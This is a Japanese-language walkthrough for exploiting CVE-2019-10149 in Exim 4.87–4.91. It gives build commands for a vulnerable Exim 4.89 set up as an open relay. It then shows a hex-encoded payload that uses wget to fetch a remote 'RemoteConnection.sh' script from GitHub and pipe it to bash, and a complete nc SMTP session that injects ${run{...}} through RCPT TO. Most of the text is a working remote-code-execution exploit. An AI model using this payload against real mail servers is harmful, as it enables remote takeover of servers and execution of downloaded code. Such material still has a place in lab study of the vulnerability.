CVE-2019-10149 - Exim 4.87 < 4.91

脆弱なバージョンのEximのインストールとその悪用の手順 Linux Ubuntu 16.04、Exim 4.89でテスト済み

Exim installation

Eximバージョン4.89をダウンロードして展開

• wget https://github.com/Exim/exim/releases/download/exim-4_89/exim-4.89.tar.xz && tar -xvf exim-4.89.tar.xz

展開したフォルダに移動

• cd exim-4.89/

必要な設定ファイルをコピーして修正

• sed -e 's,^EXIM_USER. * $,EXIM_USER=exim,' Local/Makefile src/EDITME > Local/Makefile

• cp exim_monitor/EDITME Local/eximon.conf

eximユーザーとグループを作成

• sudo groupadd -g 31 exim

• sudo useradd -d /dev/null -c "Exim Daemon" -g exim -s /bin/false -u 31 exim

依存関係をインストール

• sudo apt-get update
• sudo apt-get install -y make build-essential libpcre3-dev libdb-dev libxt-dev libxaw7-dev

Exim 4.89をインストール

• sudo make install

リレーを許可するために/usr/exim/configureを編集（7日間待たずに悪用できるようにする）

• sudo sed -iz 's/domainlist relay_to_domains =/domainlist relay_to_domains = * /' /usr/exim/configure
• sudo sed -i '/hostlist relay_from_hosts = localhost/c\hostlist relay_from_hosts = 0.0.0.0' /usr/exim/configure
• sudo sed -i '/require verify = recipient/c#require verify = recipient' /usr/exim/configure

eximユーザーとしてeximを実行

• sudo -H -u exim /usr/exim/bin/exim -bd -d-receive

Crafting the exploit

シェルコマンドを16進数に変換します。例：

• /bin/sh -c “wget https://raw.githubusercontent.com/darsigovrustam/CVE-2019-10149/master/RemoteConnection.sh" -O - | bash
• \x2Fbin\x2Fsh\t-c\t\x22wget\t\https\x3A\x2F\x2Fraw\x2Egithubusercontent\x2Ecom\x2Fdarsigovrustam\x2FCVE\x2D2019\x2D10149\x2Fmaster\x2FRemoteConnection\x2Esh\t-O\t-\t\x7C\tbash\x22\

例の表：

• \t-c\ = -c
• \t= space
• x20 = space
• x7C = |
• x2F = /
• x3A = :
• x2D = -
• x3E = >
• x26 = &
• x22 = "
• x2E = .

Exploit usage

まずncを使用してサーバーに接続します。

• nc 192.168.0.168 25

接続したらHELOを送信します。

• helo localhost
• (Answer: 250 exim Hello localhost [192.168.0.168])

次に、送信者アドレスを空に設定します。

• mail from:<>
• (Answer: 250 OK)

次に、以前作成したペイロードを埋め込んだ受信者アドレスを設定します。省略記号の部分に目的のコマンドを挿入します: rcpt to:${run{...}}@localhost。

• rcpt to:<${run{\x2Fbin\x2Fsh\t-c\t\x22wget\t\https\x3A\x2F\x2Fraw\x2Egithubusercontent\x2Ecom\x2Fdarsigovrustam\x2FCVE\x2D2019\x2D10149\x2Fmaster\x2FRemoteConnection\x2Esh\t-O\t-\t\x7C\tbash\x22}}@localhost>
• (Answer: 250 Accepted)

最後に、DATAを入力した後、31行のヘッダー、空行、そしてピリオドを入力します。

• DATA
• Received: 1
• Received: 2
• Received: 3
• Received: 4
• Received: 5
• Received: 6
• Received: 7
• Received: 8
• Received: 9
• Received: 10
• Received: 11
• Received: 12
• Received: 13
• Received: 14
• Received: 15
• Received: 16
• Received: 17
• Received: 18
• Received: 19
• Received: 20
• Received: 21
• Received: 22
• Received: 23
• Received: 24
• Received: 25
• Received: 26
• Received: 27
• Received: 28
• Received: 29
• Received: 30
• Received: 31
• .